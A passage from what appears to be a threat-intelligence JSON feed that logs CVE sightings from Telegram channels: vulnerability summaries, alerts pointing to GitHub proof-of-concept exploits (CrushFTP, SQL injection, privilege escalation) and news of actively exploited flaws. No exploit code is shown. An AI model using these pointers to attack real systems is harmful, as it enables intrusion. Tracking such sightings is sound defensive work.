CVE-2024-39884 in the core of Apache HTTP Server 2.4.61 ignores some use of the legacy content-type based configuration of handlers. \"AddType\" and similar configuration, under some circumstances where files are requested indirectly, result in source code disclosure of local content. For example, PHP scripts may be served instead of interpreted.\n\nUsers are recommended to upgrade to version 2.4.62, which fixes this issue.\n\n\n\ud83d\udccf Published: 2024-07-18T09:32:43.929Z\n\ud83d\udccf Modified: 2025-03-14T17:27:57.926Z\n\ud83d\udd17 References:\n1. https://httpd.apache.org/security/vulnerabilities_24.html", "creation_timestamp": "2025-03-14T17:48:46.000000Z"}, {"uuid": "8a6dccbd-1017-4be4-8bb1-793cc57f9663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8544", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-40431+CVE-2022-25479 chain for EOP(DATA ONLY ATTACK) ROUGHT SKELLETON ATM. WILL EVENTUALLY TURN IT INTO FULL EOP\nURL\uff1ahttps://github.com/SpiralBL0CK/CVE-2024-40431-CVE-2022-25479-EOP-CHAIN\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-17T06:30:40.000000Z"}, {"uuid": "9d6877cc-22f8-465f-ba61-d7a11e170b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40458", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17357", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40458\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Ocuco Innovation Tracking.exe v.2.10.24.51 allows a local attacker to escalate privileges via the modification of TCP packets.\n\ud83d\udccf Published: 2025-05-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T19:06:16.810Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1E8dxLt2LnvmLcCEUyp6qtnG-yZjyvMji/view?usp=drive_link\n2. https://gist.githubusercontent.com/john0x186/1d9cc7fcc8386480d2bdaa9fdcfa914b/raw/d2d3d74ccaa939127ee2b03139061509a7dd238c/full-disclosure.md", "creation_timestamp": "2025-05-22T19:46:17.000000Z"}, {"uuid": "48d3e728-ca45-44a5-b2bc-d4a3d15c4040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4028", "type": "seen", "source": "https://t.me/cvedetector/18354", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4028 - Keycloak Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4028 \nPublished : Feb. 18, 2025, 6:15 p.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : A vulnerability was found in Keycloak. This issue may allow a privileged attacker to use a malicious payload as the permission while creating items (Resource and Permissions) from the admin console, leading to a stored cross-site scripting (XSS) attack. \nSeverity: 3.8 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T20:59:52.000000Z"}, {"uuid": "49bc436e-0c9c-495d-801e-c496bf985d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40706", "type": "seen", "source": "https://t.me/cvedetector/16300", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40706 - IBM InfoSphere Information Server Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40706 \nPublished : Jan. 24, 2025, 4:15 p.m. | 22\u00a0minutes ago \nDescription : IBM InfoSphere Information Server 11.7 could allow a remote user to obtain sensitive version information that could aid in further attacks against the system. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T17:45:19.000000Z"}, {"uuid": "094d47e5-9337-4734-bbd0-f15850c8c8d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40693", "type": "seen", "source": "https://t.me/cvedetector/16299", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40693 - IBM Planning Analytics RCE through Malicious File Upload\", \n  \"Content\": \"CVE ID : CVE-2024-40693 \nPublished : Jan. 24, 2025, 4:15 p.m. | 22\u00a0minutes ago \nDescription : IBM Planning Analytics 2.0 and 2.1 could be vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface. Attackers can make use of this weakness and upload malicious executable files into the system, and it can be sent to victim for performing further attacks. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T17:45:18.000000Z"}, {"uuid": "e64efb2f-6b86-4745-9327-73d99ec60779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8035", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for CVE-2024-40348. Will attempt to read /etc/passwd from target\nURL\uff1ahttps://github.com/bigb0x/CVE-2024-40348\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-21T00:57:10.000000Z"}, {"uuid": "896c8e52-4628-4650-ac6d-536a1563bf0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40700", "type": "seen", "source": "https://t.me/cvedetector/17254", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40700 - IBM Security Verify Access Appliance and Container Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40700 \nPublished : Feb. 4, 2025, 9:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : IBM Security Verify Access Appliance and Container 10.0.0 through 10.0.8 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-05T00:45:58.000000Z"}, {"uuid": "c9de5bb8-e373-40f5-837c-7823eb2ccd26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7294", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover | Wordlist Support\nURL\uff1ahttps://github.com/1ncendium/CVE-2024-4040\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-13T17:35:27.000000Z"}, {"uuid": "6fc27b7c-2c42-4aa4-a90c-94c1fcbfef8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/5CPDoGea4VxlGpUWdnippgkEikQaqjZZ0eR1kfQrZYnd55E", "content": "", "creation_timestamp": "2025-11-06T15:00:06.000000Z"}, {"uuid": "c55cb8d7-05e8-40b3-9484-3d6f60ea3799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9525", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aBazaar v1.4.3 \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e(CVE-2024-40348)\nURL\uff1ahttps://github.com/NingXin2002/Bazaar_poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-20T09:52:46.000000Z"}, {"uuid": "06dfc173-dbe8-4d19-b4ee-385f92cdee49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40443", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8986", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-40443 - A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands \nURL\uff1ahttps://github.com/Yuma-Tsushima07/CVE-2024-40443\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-11-10T17:37:37.000000Z"}, {"uuid": "f2353311-5f85-4585-943c-c9fb6e8e61f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/HackingInsights/12525", "content": "\u200aAkira Ransomware Exploits SonicWall SSLVPN Flaw (CVE-2024-40766)\n\nhttps://securityonline.info/akira-ransomware-exploits-sonicwall-sslvpn-flaw-cve-2024-40766/", "creation_timestamp": "2024-09-09T09:27:40.000000Z"}, {"uuid": "20e568a7-459b-4ca4-badc-c3d4a9bf5614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://t.me/cvedetector/17731", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40591 - Fortinet FortiOS Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40591 \nPublished : Feb. 11, 2025, 5:15 p.m. | 58\u00a0minutes ago \nDescription : An incorrect privilege assignment vulnerability [CWE-266] in Fortinet FortiOS version 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.9 and before 7.0.15 allows an authenticated admin whose access profile has the Security Fabric permission to escalate their privileges to super-admin by connecting the targetted FortiGate to a malicious upstream FortiGate they control. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T19:53:04.000000Z"}, {"uuid": "20159a03-3a4a-4e48-8adc-cac247c8d3aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40586", "type": "seen", "source": "https://t.me/cvedetector/17730", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40586 - FortiClient Improper Access Control Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40586 \nPublished : Feb. 11, 2025, 5:15 p.m. | 58\u00a0minutes ago \nDescription : An\u00a0Improper Access Control vulnerability [CWE-284] in FortiClient Windows version 7.4.0, version 7.2.6 and below, version 7.0.13 and below may allow a local user to escalate his privileges via\u00a0FortiSSLVPNd service pipe. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T19:53:03.000000Z"}, {"uuid": "9e68640d-f843-44f6-96a9-fc7407fa1e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40584", "type": "seen", "source": "https://t.me/cvedetector/17729", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40584 - Fortinet FortiAnalyzer/FortiManager/FortiAnalyzer BigData/FortiAnalyzer Cloud/FortiManager Cloud OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40584 \nPublished : Feb. 11, 2025, 5:15 p.m. | 58\u00a0minutes ago \nDescription : An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] in Fortinet FortiAnalyzer version 7.4.0 through 7.4.3, 7.2.0 through 7.2.5, 7.0.0 through 7.0.13, 6.4.0 through 6.4.15 and 6.2.2 through 6.2.13, Fortinet FortiManager version 7.4.0 through 7.4.3, 7.2.0 through 7.2.5, 7.0.0 through 7.0.13, 6.4.0 through 6.4.15 and 6.2.2 through 6.2.13, Fortinet FortiAnalyzer BigData version 7.4.0, 7.2.0 through 7.2.7, 7.0.1 through 7.0.6, 6.4.5 through 6.4.7 and 6.2.5, Fortinet FortiAnalyzer Cloud version 7.4.1 through 7.4.3, 7.2.1 through 7.2.5, 7.0.1 through 7.0.13 and 6.4.1 through 6.4.7 and Fortinet FortiManager Cloud version 7.4.1 through 7.4.3, 7.2.1 through 7.2.5, 7.0.1 through 7.0.13 and 6.4.1 through 6.4.7 GUI allows an authenticated privileged attacker to execute unauthorized code or commands via crafted HTTPS or HTTP requests. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T19:53:02.000000Z"}, {"uuid": "4ba6e01b-ee4c-418c-adb7-adb0af84c23d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/itsec_news/4693", "content": "\u200b\u26a1\ufe0f\u0421\u0440\u043e\u0447\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0442 CISA: \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f\n\n\ud83d\udcac\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0421\u0428\u0410 (CISA) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0442\u0440\u0451\u0445 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u042d\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0443 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2016-3714 (\u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e CVSS: 8.4) \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f ImageMagick \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u0432\u0435\u0434\u0451\u0442 \u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2017-1000253 (\u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e CVSS: 7.8), \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u044f\u0434\u0440\u0435 Linux. \u041e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 load_elf_binary(). \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0430\u0436\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2024-40766 (\u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e CVSS: 9.8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 SonicWall SonicOS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u0430\u0445. \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0439 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0435\u0451 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0442\u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c.\n\nCISA \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438\u043b\u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442. \u0421\u0440\u043e\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0440 \u2014 \u0434\u043e 30 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u043e\u0442\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u0438 \u0443\u0442\u0435\u0447\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-09-11T16:36:49.000000Z"}, {"uuid": "f80526e2-50cc-4e82-86c7-4ce4b9210786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "exploited", "source": "https://t.me/itsec_news/5320", "content": "\u200b\u26a1\ufe0f\u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u0440\u043e\u0443\u0442\u0435\u0440\u044b Zyxel \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u0432 \u0431\u043e\u043c\u0431\u0443 \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\n\ud83d\udcac Zyxel \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 CPE, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 . \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 